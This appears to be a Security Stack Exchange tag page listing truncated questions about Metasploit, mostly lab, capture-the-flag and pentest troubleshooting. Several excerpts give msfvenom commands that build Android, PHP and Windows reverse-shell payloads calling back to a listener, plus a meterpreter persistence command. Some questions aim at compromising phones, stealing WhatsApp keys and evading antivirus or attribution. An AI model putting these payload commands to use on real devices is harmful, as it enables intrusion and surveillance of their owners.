Questions tagged [metasploit]
Metasploit is an open source exploitation framework that acts as a tool for developing and executing exploit code against a remote target machine
504
questions
2
votes
1
answer
60
views
Why does Hydra SMB attack not work while Metasploit does?
I'm learning about password attacks, and doing TryHackMe labs.
User: penny
Pass: leo1234
When using Hydra to find the password for the SMB user, I get no valid results:
I know the valid password is ...
- 23
0
votes
0
answers
32
views
APK reverse shell using ngrok is not creating a session
I am using ngrok for port forwarding (./ngrok tcp 4242)
I created a payload using
msfvenom -p android/meterpreter/reverse_tcp LHOST=0.tcp.in.ngrok.io LPORT=16656 R> /var/www/html/package.apk
then ...
1
vote
0
answers
34
views
Metasploit Meterpreter how to restore/create new session? [closed]
I created an apk for Android with Metasploit. Started with host ip and port and opened the "receiver terminal"
A lot of things worked well when executing the apk but after some time the ...
- 11
1
vote
1
answer
99
views
Metasploit Python module: "Unknown datastore option: CMD."
In a Python Metasploit module that I'm developing, I am trying to use CMD as one of the options:
'options': {
'RHOST': {'type': 'address', 'description': 'Target address', 'required': True, '...
- 123
2
votes
1
answer
84
views
Msfvenom reverse_tcp without LHOST
I have tested SMBGhost (CVE-2020-0796). I used the following msfvenom command to generate a reverse shell payload.
msfvenom - p windows/x64/meterpreter/reverse_tcp LPORT = 4444 - b '\x00' - i 1 - f ...
- 21
0
votes
0
answers
38
views
Filter or suppress runtime errors in metasploit scans
Is there a command or options so results from metasploit scanning sessions don't print any runtime errors...
With so many errors mostly due to connections being reset by peers, it is quite difficult ...
- 1
0
votes
0
answers
8
views
Metasploit exploit linux/http/hikvision_cve_2021_36260_blind issue 'command shell session x is invalid and will be closed' [duplicate]
When I use the Hikvision CVE 2021 36260 exploit in Metasploit, it comes up with a strange, almost never-seen-before error Command shell session x is not valid and will be closed. There is no other ...
0
votes
1
answer
156
views
Exploit failed: NoMethodError undefined method `smtp_send_recv' for #<Module:exploit/unix/smtp/exim4_string_format [closed]
I was trying to run an exploit using Metasploit's Exim tool. In the process I will have used the exim4_string_format module. I gave as information a RHOST, LHOSTS AND LPORT. To attack the reverse_perl ...
1
vote
2
answers
145
views
How payloads provide backdoors when the victims are out of local network [duplicate]
I am a newbie in cyber security and trying to learn how payloads provide backdoors when the victims are out of the local network.
I know that metasploit is a good tool for making payloads, and using ...
- 121
0
votes
0
answers
57
views
reverse https windows meterpreter payload for ARM
I am working with this meterpreter payload:
windows/meterpreter/reverse_https
It works fine but it does not support ARM architecture.
Do you know how I can compile this payload into ARM code?
And do ...
- 29
0
votes
0
answers
43
views
Is there a way for a victim Meterpreter session to connect to a VPS which redirects the connection to my laptop
I travel a lot, and I need to use Metasploit Framework for my pentesting course. The problem is that I do not have a stable IP address to which the victim's Meterpreter session could connect to.
Is ...
1
vote
0
answers
211
views
Get root permission on android for metasploit
Is there any way to get into the root file system in android with an already installed msfvenom apk in reverse_tcp (to get the whatsapp encryption key)
- 11
0
votes
0
answers
50
views
Is it possible to recover a Metasploit terminal session closed by accident?
Is there a way to recover a connection to the server if by accident the terminal window which was open with Metasploit running was closed or should I start every process all over again?
- 1
0
votes
0
answers
149
views
Where to find where images are located in the target's android device
I failed to find images on my second device that I hacked using a Metasploit reverse TCP shell.
It seems that the search command isn't working at all and that I'm stuck with one directory on the ...
0
votes
1
answer
109
views
What is the version of the scanned OS?
I've scanned a target with metasploit scanner/smb/smb_version and nmap -O.
smb_version: Windows 2016 Standard (build:14393)
Nmap: Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
What is ...
0
votes
0
answers
76
views
Where does meterpreter initially land in RAM?
When I exploit a service with Metasploit and expect a meterpreter reverse shell, where is my meterpreter session located on the target machine? Is it within the allocated memory of the exploited ...
- 13
0
votes
0
answers
69
views
Converting a PE executable to a RAW format
I am on a red team exercise and want to try wePWNise to create a malware document with an executable that I have created and tested and know to pass the target's AV.
Does anybody know how to convert a ...
- 11
0
votes
0
answers
60
views
Use a custom Metasploit exploit
Suppose there is a remote server 203.0.113.123 listening on port 1337 that is running a vulnerable application. I have engineered a sequence of inputs for that application that result in a shell. I ...
- 402
0
votes
2
answers
848
views
Is it still possible to embed executables in PDF in 2022?
I have searched and found those posts how to embed exe file to pdf? and https://stackoverflow.com/questions/2941700/can-i-embed-an-exe-payload-in-a-pdf-doc-ppt-or-any-other-file-format, but they are ...
- 15
0
votes
0
answers
551
views
Exploit failed: NoMethodError undefined method `smtp_send_recv'
I was playing around with an old server (probably pre 2017) and I was running the following metasploit module: msf6 exploit(linux/smtp/exim4_dovecot_exec)
However, after setting the LHOST (0.0.0.0), ...
0
votes
0
answers
174
views
Meterpreter shell re-enter previous/next command
After a Meterpreter session has been established, you can start an interactive shell on the target host using the shell command. In the shell, I'm trying to switch between previously entered commands ...
- 101
0
votes
0
answers
44
views
Options to use for the Database Backend Command 'analyze' in msfconsole
I noticed the command 'analyze' under Database Backend Commands in msfconsole while trying to analyze a subnet. analyze -h shows usage as such:
analyze [OPTIONS] [addr1 addr2 ..]
and that's it.
I ...
0
votes
1
answer
203
views
Msfconsole-exploit command: what options are used to generate a payload?
I have the following test environment with three computers:
[victim] 192.168.0.104 running Windows 2003
[listener] 192.168.0.22
[Kali] 192.168.0.26
On the Kali machine, I used the following ...
0
votes
1
answer
254
views
Import a exploit into msfconsole on ubuntu
I'm attending a offensive security courses and one of the subject is import a exploit from exploitdb into msfconsole. Commonly advice that it's required to create a exploit folder inside .msf4 and ...
0
votes
0
answers
52
views
Increment hearbeat request metasploit
I'm using metasploit to a university project and I have to try to make a botnet attack unnoticed. If the blue team detects it, I have to try to make as imposible as I can to attribute the attack.
I'm ...
- 13
2
votes
0
answers
484
views
Windows XP SP3 2002 is not vulnerable to MS08-067
Why is my VM not vulnerable to MS08-067?
There are similar question on stack exchange, yes, but they fail to specify all relevant information and so non receive a meaningful, thoughtful nor thorough ...
0
votes
0
answers
238
views
Metasploit module for NULL LDAP credentials
This article covers the solution for the LDAP challenges on a capture the flag.
I understand how the first example works, using the NULL value for the username and password to authenticate to the LDAP ...
- 181
0
votes
0
answers
23
views
Can I import this exploit on metasploit or is better to use it in python? [duplicate]
I have tried to import this exploit:
https://www.exploit-db.com/exploits/50539
and then use it in Metasploit (I'm following a walkthrough), but Metasploit cannot load it.
Also I tried to use Python ...
0
votes
0
answers
108
views
How do I catch metasploit session scripts error code in ruby?
I was able to start a session using metasploit framework (msf6) with an android but after a while being in the session, the meterpreter session closes. Luckily however after a few seconds, another ...
0
votes
0
answers
310
views
How can I get a meterpreter session back to my attack box from subnet via pivot?
I have a lab I am dealing with and need help to get a meterpreter session on this win 7 system.
My buffer overflow works great back to the pivot box. However since my attack box is not reachable from ...
- 101
1
vote
1
answer
1k
views
Payload uploaded but error : "no session was created"
I'm doing a capture-the-flag challenge (similar to HackTheBox) and I can't figure it out despite looking at many workarounds how to solve my issue.
I did:
nmap --> got port 8080
firefox -> 10....
- 113
1
vote
1
answer
311
views
Configure the Metasploit SSH client to support `aes256-cbc`
I am trying to set up a vulnerable machine running freeSSHd 1.2.6. The Metasploit exploit module fails with the following error:
Server encryption_client preferences: aes128-cbc,3des-cbc,blowfish-cbc,...
- 613
0
votes
1
answer
238
views
How to find discrepancy between exploitable and unexploitable VM
For several years, I have been setting up VMs with 2-3 year old versions of Windows as well as some additional applications to demonstrate two-stage exploits using Metasploit for educational purposes (...
1
vote
1
answer
5k
views
Rex::BindFailed The address is already in use or unavailable
I'm trying to run the following script based on this blog.
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
setg autorunscript multi_console_command -rc /root/Desktop/folder/...
- 11
0
votes
0
answers
316
views
Run Metasploit module against several IPs
I'm trying to run a module against several IPs. It happens that usually we can use RHOSTS file:/file.txt but in this case, that option is not available.
I have tried this https://www.pentestpartners....
- 3
1
vote
1
answer
554
views
Error with Metasploit when attempting to exploit netapi in Windows XP [duplicate]
I am a beginner in hacking. I have been trying to hack Windows XP using the netapi exploit in metasploit, but every time, in the end, I get an error:
Exploit failed [unreachable]: Rex::...
0
votes
1
answer
3k
views
RubySMB::Error::CommunicationError: Read timeout expired when reading from the Socket (timeout=30)
I've been playing around with the EternalBlue exploit recently. I've downloaded a Windows 10 iso file from 2016 and used it to set up a Windows 10 Pro VM as my sandbox. I also ran the nmap script and ...
- 15
0
votes
1
answer
585
views
is metasploit under whonix anonymous?
If I run an exploit like EternalBlue with Metasploit on whonix to a remote machine, do I remain anonymous? I think I do because it goes over tor but I am not sure. Am I right?
- 1
0
votes
1
answer
222
views
Meterpreter: How to invoke commands in a loop for each new connection
I want to execute commands like screenshot on a regular interval (e.g. each 5min) for each incoming connection to Meterpreter using the reverse_tcp payload until the connection gets closed by the ...
- 103
2
votes
0
answers
584
views
Metasploit opens Meterpreter, but the shell is unresponsive [closed]
I created a payload using
msfvenom android/meterpreter/reverse_tcp LHOST=192.168.2.2 R > ANDROID.apk
signed the apk, sent it to my phone, opened up msfconsole and ran
set payload android/...
0
votes
0
answers
310
views
Meterpreter RPC error
How to solve this error?
meterpreter > run persistence -S -i 7 -p 4444 -r 192.168.134.129
[!] Meterpreter scripts are deprecated. Try exploit/windows/local/persistence.
[!] Example: run exploit/...
2
votes
2
answers
4k
views
How do I set auto check to override exploit in metasploit?
I was trying to run the bolt CMS exploit.
Bolt CMS 3.7.0 - Authenticated Remote Code Execution | php/webapps/48296.py (taken from searchsploit) and it wouldn't work because automatic check which ...
- 21
0
votes
0
answers
166
views
How to read output of a Reflective DLL?
Reflective DLL Injection is one of the most interesting and best techniques to run custom code in memory.
I've been learning about it a lot, I've learned how to pass in inputs, But I can't figure out ...
- 1
3
votes
1
answer
929
views
- Exploit aborted due to failure: not-found: Can't find base64 decode on target
So. I am having some issues at metasploit.
I am trying to exploit
exploit/multi/http/wp_crop_rce.
I am using Docker, in order to install wordpress version: 4.8.9.
PHP 7.2.12 (cli) (built: Nov 28 2018 ...
- 31
1
vote
0
answers
847
views
PHP reverse shell is not responding back [closed]
I created a php reverse shell using msfvenom utility like:
msfvenom -p php/meterpreter/reverse_tcp LHOST=<MY_IP> LHOST=4444 -f raw > reverse_shell.php
And I created a listener using ...
- 11
2
votes
0
answers
6k
views
Metasploit error - [-] Exploit aborted due to failure: unexpected-reply: Failed to upload the payload [closed]
I am trying to run this exploit through metasploit, all done on the same Kali Linux VM. I am trying to attack from my VM to the same VM.
https://github.com/rapid7/metasploit-framework/blob/master/...
- 33
1
vote
1
answer
1k
views
How to use msfvenom elf approach for metasploitable 2?
How to use msfvenom elf approach for metasploitable 2?
I am reading a book that teaches how to make a msfvenom executable for Windows. But I am learning on metasploitable 2. I really did not want to ...
1
vote
0
answers
136
views
apache2 server online, but cannot access it on an Android device [closed]
I am trying to learn Metasploit using Kali Linux on a Virtual Machine. I learned that payloads can be "carried" through an Apache server. But the problem is, when I try to access the Apache ...
- 11
1
vote
0
answers
395
views
A way to background meterpreter sessions from an autorunscript
I have been trying to figure out a way to script a way to background my auto run scripts. It seems like everything works perfectly fine with the exception of the background command.
For example:
...
- 223
1
vote
0
answers
84
views
Problem using `multi/http/mediawiki_thumb`, possibly due to the `Authorization` header
My target requires the Authorization header with credentials to get into. I have the credentials but the module I'm using (multi/http/mediawiki_thumb) doesn't seem to have an option for Authorization.
...
- 3,472